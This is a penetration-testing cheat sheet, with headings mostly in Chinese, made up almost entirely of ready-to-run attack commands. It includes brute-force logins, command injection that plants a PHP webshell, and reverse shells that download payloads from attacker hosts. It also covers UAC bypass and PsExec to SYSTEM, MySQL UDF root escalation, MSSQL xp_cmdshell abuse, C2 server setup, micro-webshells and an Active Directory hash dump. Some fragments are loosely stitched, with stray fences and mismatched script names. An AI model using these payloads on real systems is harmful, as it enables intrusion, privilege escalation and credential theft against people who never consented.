$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

### 通过POST RCE获取完整shell```
attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

# download reverse shell to server (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

# run nc and execute phpshell.php
attacker:~$ nc -nvlp 1337

### 在Win7上通过Admin反向shell获取SYSTEM权限```
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings
net user <login>

# download psexec to kali
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

# UAC bypass from precompiled binaries:
https://github.com/hfiref0x/UACME

# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

# create listener on kali
nc -lvp 4444

# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

# create listener on kali
nc -lvp 4444

# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe –i –d –accepteula –s danger.exe

### 基于网站内容生成我们自己的字典文件```
$ cewl -m 4 -w dict.txt http://site.url
$ john --wordlist=dict.txt --rules --stdout

### 使用Nmap识别WAF```
$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.hamza.com

### 使用SQUID代理进行Nikto扫描```
$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

### 通过以root权限运行的MySQL进行本地权限提升```
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)

### 使用 LD_PRELOAD 向程序注入功能```
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

### 通过格式正确的HTTP请求使用ReDuh创建TCP电路```
# https://github.com/sensepost/reDuh

# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp

# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010

# step 4
# forward localport to remote port with tunnel
[createTunnel] 7777:172.16.0.4:3389

# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

# Powershell Reverse Shell

修改IP和端口 / 受限版本```
$sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

# MSSQL攻击
## 服务发现
**Nmap**```
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Enumeration
将以其他方式收集的用户密码合并到一个字典中，用于枚举域中的 MSSQL 机器。

**Nmap**```
nmap -n -sV -Pn -vv -p<PORT> --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA <IP>_mssql.txt <IP>
nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1
nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1
Hydra
hydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u <IP> -s <PORT>

**PowerUpSQL**```
Invoke-SQLAuditWeakLoginPw

## 利用
**Nmap**```
nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.10

**MSDAT**
以上所有内容都可以仅使用MSDAT进行测试。
<br>
获取一个shell```
msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
mssql_shell python script

**Sqsh**
<br>
连接到服务```
sqsh -S mssql -D MyDB -U DOMAIN\\testuser -P MyTestingClearPassword1

# C&C

## Merlin

编译并运行服务器```
$ cd merlin/cmd/merlinserver
$ go build
$ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443

生成证书```
$ cd merlin/data/x509
$ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=lab.com" -days 365

    -{ COM Command & Control }-
  Windows Post-Exploitation Tools
         Endless Intellect

        ~[ Version:  0xA ]~
        ~[ Stagers:    5 ]~
        ~[ Implants:  33 ]~

    NAME        VALUE               REQ     DESCRIPTION     
    -----       ------------        ----    -------------   
    SRVHOST     192.168.1.11        yes     Where the stager should call home
    SRVPORT     9999                yes     The port to listen for stagers on
    EXPIRES                         no      MM/DD/YYYY to stop calling home
    KEYPATH                         no      Private key for TLS communications
    CERTPATH                        no      Certificate for TLS communications
    MODULE                          no      Module to run once zombie is staged

# PHP 微型 Webshell```
<?= ($_=@$_GET[0]).$_(@$_GET[1]); //http://127.0.0.1/shell.php?0=system&1=ls
<?=`$_GET[0]`?> //http://127.0.0.1/shell.php??0=command

# Internal Monolog
在不触碰 LSASS 的情况下检索 NTLM 哈希

https://github.com/eladshamir/Internal-Monologue

# NTDS - 域控制器
转储和枚举 NTDS.dit - 一个包含 Active Directory 用户信息的文件（哈希！）。```
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

# 使用 nc 的交互式 shell```
rlwrap nc -nlvp PORT

在漏洞利用运行时```bash
ping <Attacker-IP>

接收数据```bash
nc -nlvp 9988

* Windows```bash
mshta <burp-collaborator.com>